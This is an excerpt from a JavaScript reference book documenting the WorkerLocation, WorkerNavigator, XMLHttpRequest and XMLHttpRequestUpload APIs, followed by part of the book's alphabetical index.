WorkerLocation

the URL of a worker's main script

The WorkerLocation object referenced by the `location` property of a WorkerGlobalScope is like the `Location` object referenced by the `location` property of a Window: it represents the URL of the worker's main script and defines properties that represent portions of that URL.

Workers differ from Windows in that they cannot be navigated or reloaded, so the properties of a WorkerLocation object are read-only, and the object does not implement the methods of the Location object.

The WorkerLocation object does not automatically convert to a string the way a regular location object does. In a worker, you cannot simply write `location` when you mean `location.href`.

Properties

These properties have the same meanings as the same-named properties of the Location object.

`readonly string` **`hash`**
: The fragment identifier portion of the URL, including the leading hash mark.

`readonly string` **`host`**
: The host and port portions of the URL.

`readonly string` **`hostname`**
: The host portion of the URL.

Download from Wow! eBook <www.wowebook.com>

`readonly string` **`href`**
: The complete text of the URL that was passed to the `Worker()` constructor. This is the only value that the worker receives directly from its parent thread: all other values are received indirectly through message events.

`readonly string` **`pathname`**
: The pathname portion of the URL.

`readonly string` **`port`**
: The port portion of the URL.

`readonly string` **`protocol`**
: The protocol portion of the URL.

`readonly string` **`search`**
: The search or query portion of the URL, including the leading question mark.

WorkerNavigator

browser information for workers

The `navigator` property of a WorkerGlobalScope refers to a WorkerNavigator object that is a simplified version of the `Navigator` object of a Window.

Properties

Each of these properties has the same meaning that it does in the Navigator object.

`readonly string` **`appName`**
: See the `appName` property of Navigator.

`readonly string` **`appVersion`**
: See the `appVersions` property of Navigator.

`readonly boolean` **`onLine`**
: `true` if the browser is online and `false` if it is not.

`readonly string` **`platform`**
: A string that identifies the operating system and/or hardware platform on which the browser is running.

`readonly string` **`userAgent`**
: The value the browser uses for the user-agent header in HTTP requests.

XMLHttpRequest

An HTTP request and response — EventTarget

The XMLHttpRequest object allows client-side JavaScript to issue HTTP requests and receive responses (which need not be XML) from web servers. XMLHttpRequest is the subject of Chapter 18, and that chapter contains many examples of its use.

Create an XMLHttpRequest object with the `XMLHttpRequest()` constructor (see the sidebar in §18.1 for information on how to create an XMLHttpRequest object in IE6) and then use it like this:

1. Call `open()` to specify the URL and method (usually "GET" or "POST") for the request.
2. Set the `onreadystatechange` property to the function that will be notified of the progress of the request.
3. Call `setRequestHeader()`, if needed, to specify additional request parameters.
4. Call `send()` to send the request to the web server. If it is a POST request, you can also pass a request body to this method. Your `onreadystatechange` event handler function will be invoked as the request proceeds. When `readyState` is 4, the response is complete.
5. When readyState is 4, check the `status` code to ensure that the request was successful. If so, use `getResponseHeader()` or `getResponseHeaders()` to retrieve values from the response header, and use the `responseText` or `responseXML` properties to obtain the response body.

XMLHttpRequest defines a relatively high-level interface to the HTTP protocol. It takes care of details such as handling redirects, managing cookies, and negotiating cross-origin connections with CORS headers.

The XMLHttpRequest features described above are well supported by all modern browsers. At the time of this writing, an XMLHttpRequest Level 2 standard is under development and browsers are beginning to implement it. The properties, methods, and event handlers listed below include XMLHttpRequest Level 2 features, which may not yet be implemented by all browsers. These newer features are marked "XHR2."

Constructor

`new XMLHttpRequest()`

This no-argument constructor returns a new XMLHttpRequest object.

Constants

These constants define the values of the `readyState` property. Prior to XHR2, these constants are not widely defined, and most code uses integer literals rather than these symbolic values.

`unsigned short UNSENT = 0`
: This is the initial state. The XMLHttpRequest object has just been created or has been reset with the `abort()` method.

`unsigned short OPENED = 1`
: The `open()` method has been called, but `send()` has not. The request has not yet been sent.

`unsigned short HEADERS_RECEIVED = 2`
: The `send()` method has been called, and the response headers have been received, but the response body has not yet been received.

`unsigned short LOADING = 3`
: The response body is being received but is not complete.

`unsigned short` **`DONE`** `= 4`

The HTTP response has been fully received or has stopped because of an error.

Properties

`readonly unsigned short` **`readyState`**

The state of the HTTP request and the server's response. The value of this property begins at 0 when an XMLHttpRequest is first created and increases to 4 when the complete HTTP response has been received. The constants listed above define the possible values.

The value of `readyState` never decreases, unless `abort()` or `open()` is called on a request that is already in progress.

In theory, a `readystatechange` event is dispatched every time the value of this property changes. In practice, however, an event is only really guaranteed when `readyState` changes to 4. (The XHR2 progress events provide a more reliable way of tracking the progress of a request.)

`readonly any` **`response`**

In XHR2, this property holds the server's response. Its type depends on the `responseType` property. If `responseType` is the empty string or "text", property will hold the response body as a string. If `responseType` is "document", this property will be a parsed representation of the response body as an XML or HTTP `Document`. If `responseType` is "arraybuffer", this property will be an `ArrayBuffer` that represents the bytes of the response body. And if `responseType` is "blob", this property will be a `Blob` that represents the bytes of the response body.

`readonly string` **`responseText`**

If `readyState` is less than 3, this property is the empty string. When `readyState` is 3, this property returns whatever portion of the response has been received so far. If `readyState` is 4, this property holds the complete body of the response.

If the response includes headers that specify a character encoding for the body, that encoding is used. Otherwise, the Unicode UTF-8 encoding is assumed.

`string` **`responseType`**

In XHR2, this property specifies the desired response type and determines the type of the `response` property. The legal values are "text", "document", "arraybuffer", and "blob". The default is the empty string, which is a synonym for "text". If you set this property, the `responseText` and `responseXML` properties will raise exceptions and you must use the XHR2 `response` property to get the server's response.

`readonly Document` **`responseXML`**

The response to the request, parsed as an XML or HTML Document object, or null if the response body is not ready or is not a valid XML or HTML document.

`readonly unsigned short` **`status`**

The HTTP status code returned by the server, such as 200 for success, 404 for "Not Found" errors, or 0 if the server has not set a status code yet.

`readonly string statusText`
: This property specifies the HTTP status code of the request by name rather than by number. That is, it is "OK" when `status` is 200 and "Not Found" when `status` is 404. This property is the empty string if the server has not set a status code yet.

`unsigned long timeout`
: This XHR2 property specifies a timeout value in milliseconds. If the HTTP request takes longer than this to complete, it will be aborted and timeout event will be triggered. You can only set this property after calling `open()` and before calling `send()`.

`readonly XMLHttpRequestUpload upload`
: This XHR2 property refers to an `XMLHttpRequestUpload` object that defines a set of event handler registration properties for monitoring the progress of the HTTP request body upload.

`boolean withCredentials`
: This XHR2 property specifies whether authentication credentials should be included in CORS requests and whether cookie headers in CORS responses should be processed. The default value is `false`.

Methods

`void abort()`

This method resets the XMLHttpRequest object to a `readyState` of 0 and aborts any pending network activity. You might call this method, for example, if a request has taken too long, and the response is no longer necessary.

`string getAllResponseHeaders()`

This method returns the HTTP response headers (with cookie and CORS headers filtered out) sent by the server, or null if the headers have not been received yet. The headers are returned as a single string, with one header per line.

`string getResponseHeader(string header)`

Returns the value of a named HTTP response *`header`*, or `null` if headers have not been received yet or if the response does not include the specified *`header`*. Cookie and CORS-related headers are filtered out and cannot be queried. If the response includes more than one header with the specified name, the returned string will include the value of all of those headers, concatenated and separated by a comma and a space.

`void open(string method, string url, [boolean async, string user, string pass])`

This method resets the XMLHttpRequest object and stores its arguments for later use by the `send()`.

`method` is the HTTP method to be used for the request. Reliably implemented values include GET, POST, and HEAD. Implementations may also support the CONNECT, DELETE, OPTIONS, PUT, TRACE, and TRACK methods.

`url` is the URL being requested. Relative URLs are resolved in the normal way, using the URL of the document that contains the script. The same-origin security policy (see §13.6.2)

requires that this URL have the same hostname and port as the document that contains the script making the request. XHR2 allows cross-origin requests to servers that support CORS.

If the `async` argument is specified and is `false`, the request is performed synchronously and the `send()` method will block until the response is complete. This is not recommended except when XMLHttpRequest is used in a `Worker`.

The optional *`user`* and *`pass`* arguments specify a username and password to use with the HTTP request.

`void` **`overrideMimeType`**`(string` *`mime`*`)`

This method specifies that the server's response should be interpreted according to the specified *`mime`* type (and charset parameter, if that is included) instead of using the `Content-Type` header of the response.

`void` **`send`**`(any` *`body`*`)`

This method causes an HTTP request to be issued. If there has been no previous call to `open()`, or, more generally, if `readyState` is not 1, `send()` throws an exception. Otherwise, it issues an HTTP request that consists of:

- The HTTP method, URL, and authorization credentials (if any) specified in the previous call to `open()`.
- The request headers, if any, specified by previous calls to `setRequestHeader()`.
- The *`body`* argument passed to this method. The *`body`* may be a string or a Document object that specifies the request body, or may be omitted or `null` if the request has no body (such as GET requests that never have a body). In XHR2, the body may also be an `ArrayBuffer`, a `Blob`, or a `FormData` object.

If the *`async`* argument to the previous call to `open()` was `false`, this method blocks and does not return until `readyState` is 4 and the server's response has been fully received. Otherwise, `send()` returns immediately, and the server's response is processed asynchronously with notifications provided through event handlers.

`void` **`setRequestHeader`**`(string` *`name`*`, string` *`value`*`)`

`setRequestHeader()` specifies an HTTP request header *`name`* and *`value`* that should be included in the request issued by a subsequent call to `send()`. This method may be called only when `readyState` is 1—i.e., after a call to `open()`, but before a call to `send()`.

If a header with the specified *`name`* has already been specified, the new value for that header is the previously specified value, plus a comma, a space, and the *`value`* specified in this call.

If the call to `open()` specifies authorization credentials, XMLHttpRequest automatically sends an appropriate `Authorization` request header. You can also append to this header yourself with `setRequestHeader()`, however.

XMLHttpRequest automatically sets "Content-Length", "Date", "Referer", and "User-Agent" and does not allow you to spoof them. There are a number of other headers, including cookie-related headers, that you cannot set with this method. The complete list is in §18.1.

Event Handlers

The original XMLHttpRequest object defined only a single event handler property: `onreadystatechange`. XHR2 expands the list with a set of progress event handlers that are much easier to use. You can register handlers by setting these properties or by using the methods of `EventTarget`. XMLHttpRequest events are always dispatched on the XMLHttpRequest object itself. They do not bubble and have no default action to cancel. readystatechange events have an associated Event object, and all of the other event types have an associated ProgressEvent object.

See the `upload` property and `XMLHttpRequestUpload` for a list of events you can use to monitor the progress of HTTP uploads.

`onabort`
: Triggered when a request is aborted.

`onerror`
: Triggered if the request fails with an error. Note that HTTP status codes such as 404 do not constitute an error since the response still completes successfully. A DNS failure while trying to resolve the URL or an infinite loop of redirects would both cause this event to occur, however.

`onload`
: Triggered when the request completes successfully.

`onloadend`
: Triggered when the request has succeeded or failed after the load, abort, error, or timeout event.

`onloadstart`
: Triggered when the request starts.

`onprogress`
: Triggered repeatedly (approximately every 50ms) while the response body is downloading.

`onreadystatechange`
: Triggered when the `readyState` property changes, most importantly when the response is complete.

`ontimeout`
: Triggered if the time specified by the `timeout` property has elapsed and the response is not complete.

XMLHttpRequestUpload

EventTarget

An XMLHttpRequestUpload object defines a set of event handler registration properties for monitoring the progress of an HTTP request body upload. In browsers that implement the XMLHttpRequest Level 2 specification, each XMLHttpRequest object has an `upload` property that refers to an object of this type. To monitor the progress of the request upload, simply set

these properties to appropriate event handler functions or call the `EventTarget` methods. Note that the upload progress event handlers defined here are exactly the same as the download progress event handlers defined on XMLHttpRequest itself, except that there is no `onreadystatechange` property on this object.

Event Handlers

`onabort`
: Triggered if the upload is aborted.

`onerror`
: Triggered if the upload fails with a network error.

`onload`
: Triggered when the upload succeeds

`onloadend`
: Triggered when the upload finishes, whether successfully or not. A loadend event will always follow a load, abort, error, or timeout event.

`onloadstart`
: Triggered when the upload starts.

`onprogress`
: Triggered repeatedly (approximately every 50ms) while the upload is occurring.

`ontimeout`
: Triggered if the upload is aborted because the XMLHttpRequest `timeout` expired.

Index

Symbols

3D graphics for <canvas> element, 631, 688
& (ampersand)
  && (logical AND) operator, 41, 62, 75
    short-circuiting behavior of, 123
  &= (bitwise AND and assignment) operator, 62, 78
  bitwise AND operator, 62, 69
< > (angle brackets)
  < (less than) operator, 62, 73
    substituting compareTo ( ) method, 223
  << (bitwise left shift) operator, 62, 70
  <<= (bitwise left shift and assignment) operator, 62, 78
  <= (less than or equal to) operator, 62, 73
    substituting compareTo( ) method, 223
  > (greater than) operator, 62, 73
    substituting compareTo( ) method, 223
  >= (greater than or equal to) operator, 62, 73
    substituting compareTo( ) method, 223
  >> (bitwise right shift with sign extension) operator, 62, 70
  >>= (bitwise right shift with sign extension and assignment) operator, 62, 78
  >>> (bitwise right shift with zero fill) operator, 62, 70
  >>>= (bitwise right shift with zero fill and assignment) operator, 62, 78
* (asterisk)
  *= (multiplication and assignment) operator, 62, 78
  matching zero or more occurrences in regular expressions, 254
  multiplication operator, 33, 62
  wildcard character in E4X, 285
@ (at sign)
  @if, @else, and @end keywords in conditional comments, 331
  in attribute names, 285
\ (backslash)
  breaking multiline string literals, 37
  escape sequences in string literals, 37
  escaping special characters in regular expressions, 253
^ (caret)
  beginning-of-string matching in regular expressions, 258
  bitwise XOR operator, 62, 70
  negating character classes in regular expressions, 253
  ^= (bitwise XOR and assignment) operator, 62, 78
, (comma) operator, 85
{ } (curly braces)
  around function body, omitting in shorthand functions, 282
  enclosing object initializer expressions, 59
  enclosing statement blocks, 88
  escape characters in XML literal syntax of E4X, 284
  in function definitions, 164
  initializer expressions in, 5
$ (dollar sign)
  $$( ) method, ConsoleCommandLine, 884
  $( ) function, 11, 524, 525–528
    looking up elements by ID, 352
    using instead of querySelectorAll( ), 529
  $( ) method, ConsoleCommandLine, 884

We'd like to hear your suggestions for improving our indexes. Send email to *index@oreilly.com*.

$0 and $1 properties, ConsoleCommandLine, 884
$1, $2 ... $n variables in regular expressions, 260
end-of-string matching in regular expressions, 252, 258
. (dot)
. . (descendant) operator, 285
dot operator, 5
property access in method invocations, 168
property access with, secure subsets and, 268
querying and setting properties, 120
matching any character except newlines in regular expressions, 254
in property access expressions, 60
= (equals sign)
== (equality) operator, 62, 71
NaN values and, 34
object-to-primitive conversions, 51
substituting compareTo( ) method, 223
== and === operators
comparing null and undefined values, 42
comparing primitive values and wrapper objects, 44
type conversions and equality, 47
=== (strict equality) operator, 62, 71
=? in URL or data string passed to jQuery.getJSON( ), 563
assignment operator, 62
! (exclamation mark)
!= (inequality) operator, 62, 71
NaN comparisons, 34
substituting compareTo( ) method, 223
!== (strict inequality) operator, 62, 71
comparing variable to null, 40
testing for undefined properties, 125
logical NOT operator, 48, 62, 77
- (minus sign)
-- (decrement) operator, 62, 69
line breaks in statements and, 27
side effects, 64, 88
-= (subtraction and assignment) operator, 78
-Infinity (negative infinity), 33
negation operator, 62
statements beginning with, 26
subtraction operator, 33, 62
unary minus operator, 68
( ) (parentheses)
enclosing expressions in if statements, 92
grouping in regular expressions, 256
in function and method invocations, 61
in function definitions, 59, 164
in generator expressions, 282
in object creation expressions, 61
statements beginning with (, 26
% (percent sign)
%= (modulus and assignment) operator, 62, 78
modulus operator, 33, 62
. (period) (see . (dot))
+ (plus sign)
++ (increment) operator, 62, 68
line breaks in statements and, 27
side effects, 64, 88
+= (addition and assignment) operator, 62, 78
appending text to innerHTML property, 379
addition and string concatenation operators, 67
object-to-primitive conversions, 51
addition operator, 33, 62
matching one or more occurrences in regular expressions, 254
statements beginning with, 26
string concatenation operator, 62
unary plus operator, 68
? (question mark)
?! (negative lookahead assertion) in regular expressions, 258
?: (conditional) operator, 62, 82
?= (positive lookahead assertions) in regular expressions, 258
nongreedy repetition in regular expressions, 255
" " (quotation marks, double) enclosing string literals, 36
quoting in stylesheet or style attribute strings, 432
' ' (quotation marks, single) enclosing string literals, 36
single-quoted HTML attribute, JavaScript code in, 317
; (semicolon)

ending statements, 6, 87
optional, ending statements, 25
placing outside of style attribute or stylesheet strings, 432
separating name-value pairs in style properties, 414
statement blocks and, 89
/ (slash)
/* */ comments in javascript: URL code, 315
/*@cc_on and @*/in conditional comments, 331
// and /” */ in comments, 23
// in comments, 4
/= (division and assignment) operator, 62, 78
division operator, 33, 62
enclosing regular expression literals, 251
statements beginning with, 26
[ ] (square brackets)
accessing array elements, 143
accessing individual string characters, 160
accessing values in multidimensional arrays, 148
array operator, 5, 688
accessing individual string characters, 39
creating arrays, 141
enclosing array comprehensions, 281
enclosing array initializers, 58
enclosing character classes in regular expressions, 253
in property access expressions, 60, 168
restriction in secure subsets, 268
querying and setting properties, 120, 121
statements beginning with [, 26
~ (tilde), bitwise NOT operator, 62, 70
_ (underscore), in function names, 165
| (vertical bar)
alternation in regular expression pattern matching, 256
bitwise OR operator, 62, 70
|= (bitwise OR and assignment) operator, 62, 78
|| (logical OR) operator, 62, 76, 171

A

<a> elements
having name attribute rather than href attribute, 367
href attribute, 315, 367
abort( ) method
FileReader object, 925
XMLHttpRequest object, 507, 510
about:blank URL, 354
abs( ) function, Math object, 791
absolute positioning of elements, 420
abstract classes, 228
class hierarchies and, 234–238
abstract methods, 228
accept property, Input object, 942
acceptCharset property, Form object, 928
Access-Control-Allow-Origin response header, 335
accessibility, 332
accessor properties, 129, 815
adding to existing objects, 131
defining using object literal syntax, 129
inheritance and, 123
legacy API for, 134
property descriptor, 131
uses of, 130
accuracy property, Geocoordinates, 933
acos( ) function, Math object, 791
action property, Form object, 399, 928
activeElement property, Document, 892
ActiveX controls, scripting, 336
add( ) method
DOMTokenList object, 438, 902
HTMLOptionsCollection object, 938
jQuery, 580
Select element, 987
addClass( ) method, jQuery, 532
addColorStop( ), CanvasGradient object, 647, 866
addElement( ), DataTransfer object, 476, 889
addEventListener( ) method, 321, 457
capturing event handlers, 463
EventTarget object, 922
incompatibilities between attachEvent( ) and, 328
not implemented by Internet Explorer, 325
registering event handlers, 458
Worker object, 681
WorkerGlobalScope object, 683
adoptNode( ) method, Document object, 894
ADsafe security subset, 268

affine transforms, 640
after( ) method, jQuery, 538
Ajax
defined, 491
functions in jQuery, 958
in jQuery 1.5, 565
transport mechanisms for, 492
utilities in jQuery, 559–571
ajax( ) function, 564–569
data types, 563
get( ) and post( ) functions, 563
getJSON( ) function, 561
getScript( ) function, 561
load( ) method, 559
passing data to, 562
XML with, 493
ajax( ) function, 564–569
callbacks, 567
common options, 565
uncommon options and hooks, 568
ajaxSetup( ) function, 565
alert( ) method, Window object, 308, 348, 1004
alpha values
specifying in canvas, 645
transparency of a color, 427
altitude property, Geocoordinates object, 933
altitudeAccuracy, Geocoordinates object, 933
altKey property, 467, 485
Event object, 915
mouse events, 451
anchors (regular expression), 258
anchors property, HTMLDocument, 367
andSelf( ) method, jQuery, 582
angles, specifying in radians in canvas, 627, 638
animate( ) method, jQuery, 551, 552
animation options object, 555
animation properties object, 554
custom animations with, 553
animations
client-side libraries supporting, 435
creating using inline scripting of CSS, 433–435
creating using jQuery, 551–558
canceling, delaying, and queuing effects, 557
custom animations, 553–557
simple effects, 552
CSS Transitions and Animations, 419
jQuery methods for, 956
API-specific events, 449
apostrophes, 37
(see also ' ' (quotation marks, single), under Symbols)
escaping in single-quoted strings, 37
append( ) method
BlobBuilder object, 695, 864
FormData object, 932
jQuery, 538
appendChild( ), Node object, 383, 977
appendData( ) method
Comment node, 881
Text node, 993
appendTo( ) method, jQuery, 538
Apple iPhone and iPad devices, gesture and touch events, 456
<applet> elements, 537
application cache, 601–607
creating application manifest file, 601
status property values, 606
updates, 603–607
ApplicationCache object, 859
constants, values for status property, 859
event handlers, 860
status property, 606
swapCache( ) method, 860
update( ) method, 860
applicationCache property, Window object, 604, 1002
apply( ) and call( ), Function object, 170, 187
restrictions in secure subsets, 267
apply( ) method, Function object, 776
appName property
Navigator object, 347, 974
WorkerNavigator object, 1012
appVersion property
Navigator object, 347, 974
WorkerNavigator object, 1012
arc( ), CanvasRenderingContext2D, 631, 643, 873
arcTo( ), CanvasRenderingContext2D, 643, 873
arguments (function), 171
object properties as, 174
variable-length argument lists, 172
Arguments object, 172, 720
callee and caller properties, 173

callee property, 720
length property, 186, 721
restriction in secure subsets, 267
arguments property, Function object, 777
arguments[ ] array, 719
arithmetic expressions, 66–70
+ operator, 67
bitwise operators, 69
unary arithmetic operators, 68
arithmetic operators, 33, 62
arity (functions), 173, 186
array comprehensions, 280
changing to generator expressions, 282
syntax, 281
Array( ) constructor, 142
array-like objects, 158–160, 353
Arguments object, 172
DOMTokenList object, 438
frames property referring to, 357
HTMLCollection objects, 367
jQuery, 528
typed arrays, 687
ArrayBuffer object, 689, 861
byte ordering endianness, 690
readAsArrayBuffer( ), FileReader, 698, 699
ArrayBufferView object, 861
arrays, 5, 29, 141–161
adding and deleting elements, 145
Array class, 30
indexOf( ) and lastIndexOf( ), 157
toString( ) method, 50
Array object, 722–740
concat( ) method, 150, 724
every( ) method, 154, 725
filter( ) method, 154, 726
forEach( ) method, 153, 726
indexOf( ) method, 727
isArray( ) method, 160
join( ) method, 149, 728
lastIndexOf( ) method, 729
length property, 722, 730
map( ) method, 154, 730
methods, 722
methods, invoking indirectly on NodeLists or HTMLCollections, 367
pop( ) method, 731
push( ) and pop( ) methods, 151
push( ) method, 731
reduce( ) and reduceRight( ), 155
reduce( ) method, 732
reduceRight( ) method, 733
reverse( ) method, 149, 734
shift( ) method, 734
slice( ) method, 150, 735
some( ) method, 155, 736
sort( ) method, 149, 224, 737
splice( ) method, 151, 737
toLocaleString( ) method, 738
toString( ) and toLocaleString( ), 152
toString( ) method, 739
unshift( ) and shift( ) methods, 152
unshift( ) method, 739
of class instances, sorting, 224
comparing, 45
conversions, 51
to strings, 152
converting jQuery object to true array, 529
creating, 141
distinguishing from non-array objects, 157
ES5 Array methods, 328, 529
functions assigned to elements, 176
initializers, 58
iterating, 146–148
with for/each loops, 274
with for/in loops, 100
with jQuery.each( ) method, 572
Java, getting and setting elements with JavaScript in Rhino, 292
length of, 145
methods, 148–152
ECMAScript 5, 153–157
multidimensional, 148
objects as associative arrays, 120
processing with functions, 192–193
property access expressions, 60
reading and writing elements, 143
sparse, 144
strings as, 39, 160
typed, 996
typed, and ArrayBuffers, 687–691
ArrayBuffers, 689
efficiency of typed arrays, 688
kinds of typed arrays, 687
set( ) method, 689
subarray( ) method, 689
of values, destructuring assignments, 272
asin( ) function, Math object, 792

assert( ) method, Console object, 882
assign( ) method, Location object, 344, 965
assignment
destructuring, 272, 277
object properties, 122
properties, 122
rules for success or failure of, 123
assignment expressions, 77
assignment with operation, 78
side effects, 88
assignment operators, 62
side effects, 64
assistive technology, 332
animation interfering with, 551
associative arrays, 120
associativity, operator, 65
async property, Script object, 985
asynchronous I/O
scripting with Node, 296–304
HTTP client utilities module (example), 302–304
HTTP server (example), 300–302
XMLHttpRequest and File API specifications, Version 2, 455
asynchronous loading and execution of scripts, 319
asynchronous messaging between scripts of different origins, 677
atan( ) function, Math object, 792
atan2( ) function, Math object, 792
atob( ) method, Window object, 1004
attachEvent( ) method, 321, 457, 923
handlers registered with, this value, 461
incompatibilities between addEventListener( ) and, 328
registering event handlers in IE, 459
attention, drawing to elements of a document, 437
Attr object, 378, 862
attr( ) method, jQuery, 531, 542
attribute names in E4X, 285
attributes, 375–378
as Attr nodes, 378
CSS attribute names for animation properties object, 554
dataset, 377
event handlers registered as, scope, 461
getting and setting CSS attributes with jQuery, 532
getting and setting HTML attributes with jQuery, 531
getting and setting non-HTML attributes, 376
HTML attributes affecting audio and video playback, 618
HTML attributes mirrored by event handler properties, 315
HTML elements, 910–913
HTML, as element properties, 375
object, 116, 135–138
class attribute, 136
extensible attribute, 137
property attributes, 116, 131–134
copying, 133
querying and setting, 131
setting for event handlers, 457
attributes property, Element object, 903
audio and video
MediaElement superclass, 965–970
MediaError objects, 970
scripting, 615
controlling playback, 617
media events, 620
querying media status, 618
type selection and loading, 617
Video object, 998
<audio> elements, 615
controls attribute, 616
events, 454
Audio object, 862
audio property, Video object, 998
Audio( ) constructor, 616
Authorization headers, 497
autocomplete property
Form object, 928
Input object, 942
autofocus property, FormControl object, 930
autoplay property, MediaElement object, 618, 966
availHeight property, Screen object, 984
availWidth property, Screen object, 984

B

\b (backspace character) in regular expressions, 254
back( ) method, History object, 345, 936
background CSS style property, 419
background, CSS style properties for, 427

background-color property, 421, 426
baseURL property, Node object, 976
before( ) method, jQuery, 538
BeforeUnloadEvent object, 862
beginPath( ), CanvasRenderingContext2D, 632, 873
Bezier curves
  drawing in canvas, 643–645
  quadraticCurveTo( ) method, 878
bezierCurveTo( ), CanvasRenderingContext2D, 643, 874
big-endian byte ordering, 690, 890
binary data
  Blobs and APIs that use them, 691
  in HTTP responses, 501
binary floating-point numbers, 35
Binary Large Objects (see Blobs)
bind( ) method, 188
  event handler registration in jQuery, 544
  Function object, 208, 778
    similarity of jQuery.proxy( ) function, 573
  Function.bind( ) method for ECMAScript 3, 189
  live events and, 549
  partial application of functions, 194
bitwise operators, 62, 69
_blank window name, 354
blank-page URL, about:blank, 354
BlobBuilder object, 694, 863
Blobs, 691–699, 863
  building, 694
  downloading, 694
  files as, 693
  obtaining, methods for, 691
  reading, 698
  URLs, 695–697
    displaying dropped image files, 695
  using, 692
block scope, 54
  lack of, addressing by using let keyword, 269
blocking script execution, 319
blur effects
  motion blur with ImageData, 661
  shadowBlur property in canvas, 653
blur events, 401, 450
  bubbling alternative to, 453
  event handler registration with jQuery, 541
blur( ) method
  Element object, 906
  Window object, 1004
<body> elements, event handlers in, 458
body property
  Document object, 892
  HTMLDocument object, 367
bookmarklets
  for currently selected text, 408
  using javascript: URLs for, 316
Boolean object, 740
  toString( ) method, 741
  valueOf( ) method, 741
Boolean( ) constructor, 43
Boolean( ) function, type conversions with, 47
booleans, 29
  boolean values, 40
  conversions, 45
  object-to-boolean conversions, 49
  wrapper objects, 43
border property, 416
borders
  in CSS box model, 424
  specifying color of element's border, 426
  specifying in CSS, 423
borrowing methods, 224
bottom and right style properties, 421, 425
bottom property, ClientRect object, 880
bottom, top, right, and left properties, 392
box model (CSS), 424
  border box model and box-sizing property, 425
  jQuery.support.boxModel property, 574
box-sizing property, 425
break keyword, 96
break statements, 103
  line break interpreted as semicolon, 26
browser property, 571
browser sniffing, 330, 346
  using navigator.userAgent, 347
browsing contexts, 353
browsing history, 345
  history management mechanism in HTML5, 455, 671–676
  History object, 936
  transition, PopStateEvent, 982
btoa( ) method, Window object, 1004
bubbles property, Event object, 915

bubbling, 321, 447
event handling in jQuery, 541
keyboard events to document and window, 452
live events, 550
manually triggered events, 547
mouse events, 453
non-bubbling version of mouse events in IE, 452
place in event propagation after invoking event handlers, 463
buffer property, ArrayBuffer object, 861
buffered property, MediaElement, 619, 966
bufferedAmount property, WebSocket, 1000
buffers in Node interpreter, 298
bugs in browsers, 325
testing for, 330
button property, Event object, 451, 467, 915
buttons
<button> elements, 397
onclick event handler, 316
registering event handlers for click event, 459
Button object, 864
push buttons in forms, 401
toggle buttons in forms, 402
buttons property, Event object, 919
byte ordering, endianness, 690
byteLength property, ArrayBuffer object, 861
byteLength, ArrayBuffer object, 861
byteOffset, ArrayBuffer object, 861

C

caching, 601
(see also application cache)
memoization of functions, 196
Caja secure subset, 268
calculated values for box dimensions (CSS), 426
call( ) and apply( ), Function object, 170, 187
restrictions in secure subsets, 267
call( ) method, Function object, 136, 779
callable objects, 191
callbacks, 320
functions passed to setTimeout( ) and setInterval( ), 322
jQuery.ajax( ) function, 567
passing to jQuery effects methods, 552
callee and caller properties
Arguments object, 173
restriction in secure subsets, 267
callee property, Arguments object, 720
caller property, Function object, 779
cancelable property, Event object, 915
cancelBubble property, Event object, 915
cancelBubble( ) method, Event object, 548
cancellation, events, 464
application cache updates, 606
textinput and keypress events, 482
canPlayType( ), MediaElement object, 969
Canvas API, 630–665
array of bytes in CanvasPixelArray, 688
canvas dimensions and coordinates, 637
Canvas object, 865
getContext( ) method, 630, 865
toDataURL( ) method, 656, 865
clipping, 652
colors, transparency, gradients, and patterns, 645–648
compositing, 657
coordinate system transformations, 638
drawing and filling curves, 643–645
drawing lines and filling polygons, 632
drawing red square and blue circle, 631
drawing sparklines (example), 663–665
drawing text, 650
graphics attributes defined on context object, 635–637
hit detection, determining if point is in a path, 662–663
images, 655–657
line drawing attributes, 648
path, 631
pixel manipulation, 661–662, 870
rectangles, 645
reference, 865–880
shadows, 653
<canvas> elements, 630
context object, 636
canvas property, 871
CanvasGradient object, 645, 866
addColorStop( ) method, 866
creating, 874
fill or stroke with color gradient, 647
CanvasPattern object, 645, 867
creating, 875
till or stroke using, 647
CanvasRenderingContext2D

save( ) and restore( ) methods, 636
CanvasRenderingContext2D object, 630, 867–880
arc( ) method, 873
arcTo( ) method, 873
beginPath( ) method, 873
bezierCurveTo( ) method, 874
clearRect( ) method, 874
clip( ) method, 652, 874
closePath( ) method, 874
compositing, 657–660
createImageData( ) method, 661, 874
createLinearGradient( ) method, 647, 874
createPattern( ) method, 647, 875
createRadialGradient( ) method, 647, 875
drawImage( ) method, 655, 875
drawing and filling curves, 643–645
drawing rectangles, 645
fill( ) method, 875
fillRect( ) method, 876
fillText( ) method, 650, 876
getImageData( ) method, 661, 876
graphics attributes, 635–637
graphics attributes for shadows, 653
isPointInPath( ) method, 662, 877
lineTo( ) method, 877
measureText( ) method, 651, 877
moveTo( ) method, 877
putImageData( ) method, 661, 878
quadraticCurveTo( ) method, 878
rect( ) method, 878
restore( ) method, 878
rotate( ) method, 878
save( ) and restore( ) methods, 870
save( ) method, 879
scale( ) method, 879
setTransform( ) method, 879
stroke( ) method, 879
strokeRect( ) method, 879
strokeText( ) method, 650, 879
transform( ) method, 880
translate( ) method, 880
capability testing, 329
caption property, Table object, 990
capturing event handlers, 458, 463, 545
mouse events in IE, 468
carriage returns, 22
Cascading Style Sheets (see CSS)
case clauses in switch statements, ending with break statement, 96
case keyword, 95
case sensitivity in JavaScript, 21
property names, 376
case-insensitive sorting, arrays of strings, 150
catch clauses (try/catch/finally), 106
multiple catch clauses, 283
catching exceptions, 106
cd( ) method, ConsoleCommandLine, 884
CDATASection nodes, 381
ceil( ) function, Math object, 793
cellIndex property, TableCell object, 991
cells property, TableRow object, 992
chaining methods, 169
chaining, constructor and method, from subclass to superclass, 231–233
change( ) method, jQuery, 541
changedTouches property, touch events, 456
char property, Event object, 454, 919
character classes in regular expressions, 253
character sets, 21
CharacterData object, 381
characterSet property, Document, 892
charAt( ) method, String object, 838
charCode property, Event object, 915
charCodeAt( ) method, String object, 501, 838
charset property
Document object, 892
Script object, 985
chat
custom Server-Sent Events chat server, 519
server using WebSockets and Node, 715
simple client using EventSource, 516
WebSocket-based chat client, 714
<checkbox> elements, 402
checked property
form elements, 399
Input object, 942
checkValidity( ), FormControl object, 931
child properties, Element object, 372
child windows, 356
browsing history and, 345
childElementCount, Element object, 373, 903
childNodes property, Node object, 371, 976
children property, Element object, 372, 375, 903
children( ) method, jQuery, 580
Chrome, 471

(see also web browsers)
current version, 327
implementation of Filesystem API, 700
JavaScript in URLs, 316
textInput event, 453
class attribute, 10, 116, 136
Array, 158
HTML elements, 368, 376
testing for true function object, 191
class fields and methods (Java classes), 205
